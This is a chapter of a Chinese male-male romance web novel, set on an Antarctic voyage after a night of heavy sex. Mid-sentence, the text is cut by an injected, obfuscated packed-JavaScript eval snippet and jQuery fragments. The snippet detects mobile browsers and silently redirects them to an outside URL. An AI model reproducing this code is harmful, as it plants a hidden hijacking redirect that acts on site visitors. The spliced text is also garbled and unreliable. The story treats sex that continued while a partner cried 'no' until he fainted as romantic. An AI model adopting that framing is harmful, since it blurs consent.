36.哥哥

作品:《海上飞鸟

    两年前的那趟旅行是顾时屿写下《埃尔德克里船长》的契机。


    -埃尔德克里的父亲继承王位后不久,邻国入侵,其他公爵趁战乱篡位,埃尔德克里落入海里,被海盗船长救起。


    埃尔德克里在船上的那些日子与海盗船长的女儿菲利相爱,海盗船长将他的航行经历与技能通通传授给埃尔德克里。


    海盗船长去世后,菲利继承了大船,与埃尔德克里开启海上生活。他们横渡整个大西洋,在一次偶然中进入魔鬼海峡,狂风呼啸,巨浪卷起十几米高,全船的人以为丧命于此,在那个夜晚,埃尔德克里向她坦白自己的身份。


    “父亲在弥留之际让我远走高飞,我掌着舵一点点驶离我出生的地方,我的心却无法落地,我不能死。”


    菲利看向埃尔德克里,对他说:“我们一定会活下去的,我相信你。”


    有一瞬间,埃尔德克里看见了父亲,“埃尔德克里,你必须保护自己爱的人,带她离开这里。”


    全船的生命都在他的手里,埃尔德克里一改往日模样,学着父亲的样子冷静而理智地处理面临的问题,海水倒灌,船板破裂,在经过两个夜晚的战斗,太阳突破地平线之际,恢复了风平浪静。


    所有的人都屏住了呼吸,那是他们从未见过的奇观,埃尔德克里捞起一块万年黑冰,菲利站在他的身边:“人间仙境,而此刻,我们置身于此。”


    “我要回去,带父亲来见见这里。”-


    第一季的故事停在这里,网友纷纷留言,想看埃尔德克里带着菲利回去Y国之后发生了什么事情,最后又为何回到了海上。


    在来南极之前,他毫无头绪,写出来的东西他都不太满意,不知怎地在这一刻,他脑中忽然有了灵感。


    他打开电脑,忍着酸痛开始敲键盘。


    沉浸在自己创造的世界,顾时屿连方隐年进门都没发现,等他卡顿,偶然抬头时才发现沙发上坐了个人。


    顾时屿愣了愣,还以为是幻觉。


    方隐年曲起一只手支着头,盯着顾时屿的侧脸,有些愣神。


    昨夜,酒精上头致使他一时冲动,那杯教父也让他出现前所未有的状况,一场X事持续很长时间,顾时屿一直哭着说“不要”,长久抑制的欲.望像突然开闸的洪水,他疯了一般横冲直撞,直到顾时屿再也经受不住晕过去,他才猛然回神。


    方隐年脸色变得苍白,抓住顾时屿的手微微发抖,直到感受到脉搏的跳动,悬着的心才算放了下来。


    他拉过被单将人裹起来,认真擦拭干净将人抱去对面的房间,看着顾时屿虚弱的脸庞,他轻轻落下一吻:“辛苦了。”


    酒精挥散不少,方隐年走回混乱的套房,从顾时屿的烟盒弹了一根烟出来。


    午夜的太阳悬在雪山上,天边都是橙红色。


    一个身影背着光缓缓吐出一口烟,海风吹起他的发,看不清他的脸。


    太乱套了。


    方隐年兀自出神,顾时屿收起电脑。


    “你什么时候回来的?”


    蔓延的思绪收回,方隐年放下手臂,说:“没什么。”


    “吃点东西吧。”方隐年拎了一锅粥回来,见顾时屿专心写作便没打扰。


    “还没凉,趁热喝。”


    “嗯。”顾时屿端着粥小口小口喝着,时不时瞥一眼方隐年。


    视线过于明显,方隐年早就察觉,只是他面上不显,坐在沙发上回复况野消息。


    【什么时候回来?】


    旅程接近尾声,五天后应该能回到威廉姆斯港。


    【很快了】


    况野似乎正拿着手机,方隐年信息刚发送过去,他就秒回过来。


    【赶紧回来,我有事和你说】


    方隐年正要回复问他有什么事,余光看见顾时屿动作艰难地侧身放碗。


    手机塞回兜里,他起身接过碗,目光落在顾时屿裸.露的后颈,那里有个深紫色的齿痕。


    温热的大手抚上去,顾时屿下意识仰头,猝不及防中,两人对视。


    方隐年垂眼,那双明亮的眼眸让人移不开目光,须臾,他伸手盖住顾时屿的双眼,轻叹了一口气。


    再这样瞧着,他恐怕要控制不住自己。


    喉咙上下滚动,方隐年咽下那点不合时宜的想法,松开手问顾时屿:“再来一碗?”


    顾时屿摇头:“吃不下了…”


    “那就不吃了。”方隐年将碗放好,回过头发现顾时屿脸色有些发红,难道昨晚着凉了?


    他伸手摸了摸他的额头,“没发烫,你的脸怎么这么红?”


    顾时屿的脸更红了。


    方隐年心里有些诧异,仔细想了想方才两人对话,他恍然大悟:“是因为吃不下这句话?”


    被戳穿心思,顾时屿倏得拉起被子盖住脸,声音闷闷地:“你别说了…”


    方隐年轻笑出声,坐在床边将他被子揭下来,“再闷着该熟了。”


    顾时屿别开脸,根本不敢正视方隐年。


    “下次还敢不敢说这些话了?”


    顾时屿摇头,又点了下头。


    “嗯?”方隐年尾声拉的有点长,“昨晚是谁哭来着——唔…”


    话未说完就被捂了嘴,因为动作太大,拉扯到酸痛的地方,顾时屿“嘶”了一声后假装凶狠地警告:“再说我动手了!”


    方隐年愣了愣,然后想起昨夜单手将顾时屿双手压在头上的情景,他到底知不知道,这细胳膊打人,只能算作“爱.抚”。


    他拍了拍顾时屿,示意他把手拿下来,见他不再说那些令人难为情的话,顾时屿听话放手。


    方隐年从袋里翻出来一支药膏,让顾时屿翻过去,“乖乖趴着。”


    也不是没做过贴心Top,顾时屿当然知道那支是什么东西,而且他不觉得自己需要用药的地步,他拒绝方隐年:“不用了,不疼。”


    “方才不是痛得龇牙咧嘴的?”方隐年将他的脸扭另外一边去,“还是说,我昨晚不够卖力——”


    “我都晕过去了…”顾时屿心想,什么样的菊花也受不了这种捣鼓,“你下次不可以这样了。”


    方隐年一顿,敛眉道:“没有下次了。”


    “什么意思?你不要我了?”顾不得痛楚,顾时屿起身跨坐在方隐年身上,搂住他的脖子说,“虽然我技术很一般,但我可以练习…还有,我也不是故


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196341|159380||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意要晕的…”


    顾时屿声音闷闷地,说到后面越来越小声,几乎是用气声说:“你别不要我了…”


    方隐年心上骤然一紧。


    在这两年的时间里,他去了很多次H国,几乎每个城市都走过,有时在街头见到与Lyman相似的背影他都会惊喜向前,直到对方转身,幻想破灭。


    “你在害怕什么?”


    “我不知道…”顾时屿瓮声说,“我不会跑了,以后乖乖的,你别不要我。”


    方隐年叹气,“当年到底是谁先不告而别?”


    顾时屿没说话。


    “现在可以告诉我原因了么。”


    话音刚落,顾时屿明显脊背一僵,过了一会他才低声说道:“其实没什么特别的原因…”


    “哦?”


    “那时我们相识不久,彼此不了解,每天在一起除了那些…还是那些…”顾时屿没有说谎,那时的他将这段旅程当成一场梦,航线结束他就离开,“其实我没想过,你会记得我。”


    方隐年怎么会不记得。


    他是以谈恋爱为前提与Lyman交往,甚至在下船前还联系H国的好友,打算过去发展,谁知航线结束,对方彻底失联,他单方面被甩了。


    方隐年说:“所以,你只当露水情缘而已。”


    “不是…离开以后我也很想你,可Z国离这里几万米那么远,我总觉得在一起也不现实,所以——”


    “睡完就跑,是吧。”方隐年替他说道。


    这话顾时屿无法反驳,他知道现在做什么都是徒劳,但他向方隐年保证:“以后不会了,真的。”


    心中虽然还有疑问,但方隐年没有再问,只是说:“你的理由不算充分,我先持保留意见。”


    “相当于留观人员?”


    “留观人员趴下吧,”方隐年说,“再不上药,伤口该愈合了。”


    “……这药非上不可吗,我自己来行不行?”


    没给他自己来的机会,方隐年徒手帮顾时屿涂上药膏,拉过被子给他盖好,哑着声音跟他说:“再睡一会,我去洗手。”


    说完,他起身往厕所走去。


    “方隐年,你是不是难受啊。”


    方隐年脚步一顿,扭头看顾时屿。


    “做吗。”


    哭着说不要的人,此刻直勾勾地盯着他,眸光中蕴含着令人无法忽视的情.欲,像是无声的勾.引。


    好不容易压下去的火苗此刻蠢蠢欲动,方隐年喉咙滑动,咬着牙问:“顾时屿,你是不是不长记性。”


    顾时屿赤红着耳朵,朝方隐年伸手。


    “哥哥,要吗。”


    “轰”地一声,紧绷的弦骤然断裂。


    方隐年望着他,眸光锐利。


    半晌,他勾起嘴角,当着顾时屿的面慢条斯理地解开衬衣扣子,紧接着朝他走来。


    顾时屿仰着头,拉起他的手放在脸上,睁着眼睛看着他,像个讨宠的小狗。


    小狗见他不为所动,主动地舔了舔主.人的掌心。


    下一秒——


    他被扼住喉咙,低沉暗哑的声音落下:


    “顾时屿,你真是欠*。”